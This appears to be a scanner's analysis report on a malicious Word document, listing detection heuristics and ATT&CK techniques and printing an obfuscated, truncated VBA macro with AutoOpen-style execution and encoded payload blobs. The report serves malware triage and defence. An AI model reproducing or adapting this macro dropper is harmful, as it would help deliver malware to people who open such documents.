MALICIOUS
224
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is a malicious Microsoft Office document containing a VBA macro. The macro utilizes CreateObject and an AutoOpen function, indicating an attempt to execute code upon opening. The presence of a long encoded blob and the ClamAV detection 'Doc.Malware.Emodldr-10025032-0' strongly suggest this macro is responsible for downloading and executing a secondary payload, likely a downloader or dropper.
Heuristics 8
-
ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 36001 bytes |
SHA-256: a2e0ec59df5d13dac3c87d03ae71b922ec970f68b745a57b8e93174b9ddbaca7 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 27 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "YTfTpzXw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "QdpUhjzz"
Function SiFvWVlwKnPoKh()
On Error Resume Next
IaJQLN = TYVnIF * bzPWE
QZXIZs = OmjlB / ChrW(vuvjqQ * twhFq) - CTrzw * vnhiD * 1135 / CSng(83469)
hFARETrsB = ASYGUE("wXaAOABkAGQAOAA2ADQAMQA0ADkAMAA2ADEAOQA4ADkAYQBmADAANgAwADYAZQAzAGEAMQBmAGIAOAA0AGYAZgAxAGEAOAAzADQANwBjADcAOABkADUANgAxAGYAZAAzADYAMwBhAGIAMQAyADcAYgAxAGQAMgBiADkAMwA5ADEAOQBlADEAZQBmADQAMAA5Ga05n", 4, 189)
zijrk = UJUjQY * kvTsS
XqwXn = VGzOMr / ChrW(zzWLPp * EhszK) - XKKsNp * iTdAKt * 15734 / CSng(27447)
wwskR = CoSCfk * owDEm
FOFZa = whwfz / ChrW(kiumP * BRMqz) - jDlmz * zBEuIt * 85313 / CSng(46990)
bcbjhDHEPA = ASYGUE("o4dqYgA2AGQANwA3AGEAYwA3AGQAMAA4ADMAZgBhAGMANAAxAGQANgBkADQANwA2AGYAMABmADgAZgAzAGIANwBkADQANgA5ADEAMwA4AGEAYgAzAGQAMgA3ADYANABiADkAMQBlADkAOAA0ADkANgA3ADQAMQA5ADcANQBiAGUANgAwADzMqcN", 5, 174)
UTtEJ = wvBJC * ACVwOP
tWiLiS = vBpaAt / ChrW(khzSmp * kHjcz) - wwjwtd * fvpHL * 72097 / CSng(53130)
RFTGdP = zpJwR * lXDNpP
OYDAiq = soCSJI / ChrW(zkIWjd * cqSjQ) - pnsFXW * htBScm * 48238 / CSng(50248)
pwbupmhavjm = ASYGUE(".XOVqAGIAZQBhAGUAYQBhADYAYQAyADgAOABiADIAYQA3ADQAMQBhADYAYQBhAGUAYgBlADIAYwA3AGMAYQBhADMANQBhAGIAOQAyAGMAMwA5ADkAMgBlAGUAMgBlAGUGsu", 6, 123)
nqnIB = nurFlL * hlTNwB
vzumY = EjqtwE / ChrW(TDcsHs * AwNRk) - wLQzO * XVNpvB * 68782 / CSng(10226)
WLLTWU = GoIOr * hcLjzF
OQQfo = UqLNlz / ChrW(oiiau * iqmYHM) - sjFuWW * ufFuf * 59583 / CSng(91648)
JAzVwC = ASYGUE("@wRbTQ2AA1ADgAMAA0AGMAMgBiAGEAMQAzADMAYgAyADcANwA3ADkANwA0ADMAMgBkAGEANAA0ADEAMQAyAGEAYQA4AGUAMwAzAGEAOABjADkAMgA28%", 8, 107)
TubXR = AzzlmC * McsJT
ikkRrO = IJckuP / ChrW(iXrzkv * skIIj) - shDNl * jMPid * 69431 / CSng(17688)
qucmhm = lunQCi * kLVSQI
JUCitw = OdYhfZ / ChrW(hnFXwJ * NEzSQb) - mpBYcz * aZEonM * 44086 / CSng(32468)
zNkmLzt = ASYGUE("2wxADgANgBmAGUAOABhADUAMwBjADIAZgBlADgAMgBmADQAMQBhAGYAZQAwAGIANQA3AGUANwA5ADYAYQAyADAAOAAzADUAZgAxAGYAOQBjADIAZQAwADIANQA1ADUAZABmADQAZAAzADcAZQA4ADYANAAxAGQAYgAwAGMANQA0ADEAOQBmADgAZQBlADMAYQA3AGEAM1tKa0Vh", 3, 198)
iXIPC = PuRwF * PCPcXm
nXICaz = NAjKw / ChrW(wpQuH * vNZGG) - ukKWoL * Zucqa * 40565 / CSng(66121)
LGtjpp = FZSdXp * jIGnz
GKoYv = qQLCWA / ChrW(cmOJH * pHZBi) - Ybpjv * OwfUB * 34222 / CSng(40189)
YlJjbcohawr = ASYGUE(".n8GwAMwBmADMANwAzAGMANwBmADYAMAAzADkAZQAwAGQAMAAbr3V", 6, 44)
CwQuWv = HNPSww * IwhIK
XLBkP = HCkIlz / ChrW(WVrrfi * pQOaOw) - zpjns * ONqwf * 58736 / CSng(70819)
ifKcBk = ApdNDZ * NOBUq
clcwz = Ipifkd / ChrW(pCEVI * ivvLH) - znMRN * KMmCwD * 25392 / CSng(59461)
uZbbH = ASYGUE("8%3ADIANAA5ADIANAA1AGIANwA3ADAAYwBhAGQAMAAwAGUANwAwAGEAYgA3ADMAZQAyADUANgBiADkAZQAxAGUAYwA1ADgAOQBiAGQAYQA3AGMAMwAxAOm9qG7", 3, 114)
ckRKs = fkXJtt * LHjaU
zGvXVA = RlnFAH / ChrW(MCKdBP * RCpITl) - AfVWi * fzjNwJ * 35541 / CSng(33755)
lqaBQu = mzvUkZ * LTDqEj
PTanwu = bADaPj / ChrW(woQMtA * kNBZar) - AqHVo * WXzOU * 133 / CSng(27882)
FdkVdH = ASYGUE("HbD0DcAMgA2AGQANABiADAAMQA2AGQANwBkADIAZAA5ADAAMAAzADYAZgA5ADMANQBlADAAYgBmAGUAMAAyADAANQAzADEAYgA4AGUAMgA4AGEAMwBjADIAYJVI", 5, 116)
zstVs = MiniLi * iFZNV
hbJvE = dbboCr / ChrW(mWnVHE * zpVDdK) - nrRaA * zjknwp * 89751 / CSng(28341)
BKticH = hAQGS * WjuAdD
wVSpKV = rqaBE / ChrW(EuPizw * YNWaz) - RiQaT * WEdfr * 8000 / CSng(46621)
MBYEzoDF = ASYGUE("0DcANAA5ADAAYwBkADYAZQAzAGIAMwA4AGQAZQBmADEAYgBlAGMAYgA=' |cOnvERTTO-SECureStrInG -Key (185..170)))) ) ) f6pS6", 2, 105)
ASqaO = YpbTP * ijKjz
qmDcbQ = rhpaP / ChrW(aarTG * vLzzc) - zLSfm * tfzNmD * 46747 / CSng(83906)
wSYFzI = soKwA * vbDddO
vFtBAP = aEiNQl / ChrW(juAiiT * jwoYp) - hRNskU * nqZXEk * 19185 / CSng(60640)
hUarTBajQX = ASYGUE("07XCZMAA5ADAAOAA5ADQAMgA1ADEANQBkADkAZgAxAGYAMAA0AGUAMgBkADUAMgBkADgAMQA1AGQAYwBmADIAMwBlAXc5%", 6, 85)
KwfPoM = CuuuQL * EcLaR
rmdwq = sVddwJ / ChrW(vmrtaA * kKzpZ) - biUutJ * WwYTiY * 80370 / CSng(38160)
thKKw = YbFVPk * rwmsrN
wmWiwD
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.